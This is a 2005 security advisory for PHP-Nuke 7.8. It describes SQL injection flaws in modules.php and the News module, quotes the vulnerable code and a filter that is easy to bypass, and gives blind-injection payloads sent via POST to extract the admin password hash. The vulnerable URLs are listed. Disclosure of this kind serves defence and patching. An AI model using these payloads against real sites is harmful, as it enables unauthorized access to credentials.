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Arrow  Topic :

PHP Nuke <= 7.8 Multiple SQL Injections


Arrow  SecurityAlert : 3
Arrow  CVE : CVE-2005-4715
Arrow  SecurityRisk : Medium  Security Risk Medium  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : Robin onkel_fisch Verton
Arrow  Published : 13.09.2005

Arrow  Affected Software : PHP Nuke x<= 7.8



Arrow  Advisory Content :  

[NewAngels Advisory #7]PHP Nuke <= 7.8 Multiple SQL Injections
========================================================================
=====

Software: PHP Nuke 7.8
Type: SQL Injections
Risk: High

Date: Sep. 10 2005
Vendor: PHP-Nuke (phpnuke.org)

Credit:
=======
Robin 'onkel_fisch' Verton from it-security23.net

Description:
============
PHP-Nuke is a news automated system specially designed to be used in
Intranets and Internet.
The Administrator has total control of his web site, registered users, and
he will have in the hand
a powerful assembly of tools to maintain an active and 100% interactive web
site using databases.
[http://www.phpnuke.org/]

Vulnerability:
==============

PHP Nuke 7.8 is prone to multiple SQL injection vulnerabilities.
These issues are due to a failure in the application to properly sanitize
user-supplied input before using it in SQL queries.

In the modules.php

$result = $db->sql_query("SELECT active, view FROM ".$prefix."_modules
WHERE title='$name'");

The $name variable is not checked so you could inject malicious SQL Code.
In an file which is included whe have the following code:

$queryString = strtolower($_SERVER['QUERY_STRING']);
if (stripos_clone($queryString,'%20union%20') OR
stripos_clone($queryString,'/*') OR stripos_clone($queryString,'*/union/*')
OR stripos_clone($queryString,'c2nyaxb0')) {
header("Location: index.php");
die();
}

[...]

if (!ini_get("register_globals")) {
import_request_variables('GPC');
}

So you can use UNION in a GET var. But because they use register_globals or
impor_request_variables you can send
the malicous SQL-Code via POST so it is not checked if you insert an
"union".

http://www.example.com/modules.php POST: name=' OR 1=1/*
will produce an error, neither
http://www.example.com/modules.php POST: name=' OR 1=2/*
will only tell you taht the requestet 'modul' is not active, so you can
read out the admin password hahs via blind injections.

Additionaly there are a few SQL-Injections in the modules.
Here a few examples:

http://www.example.com/modules.php?name=News&file=article&sid=[SQL] - here
the same as above, send this via POST to
bypass the 'union'-cover

http://www.example.com/modules.php?name=News&file=comments&Reply&pid=[SQ
L]

http://www.example.com/modules.php?name=News&file=comments&op=Reply&pid=
[SQL]

http://www.example.com/modules.php?name=News&file=comments&op=Reply&sid=
[SQL]

Greets:
==============
CyberDead, atomic, sirius_
Whole secured-pussy.de Team
Zealots :D :D





Arrow  Feedback :

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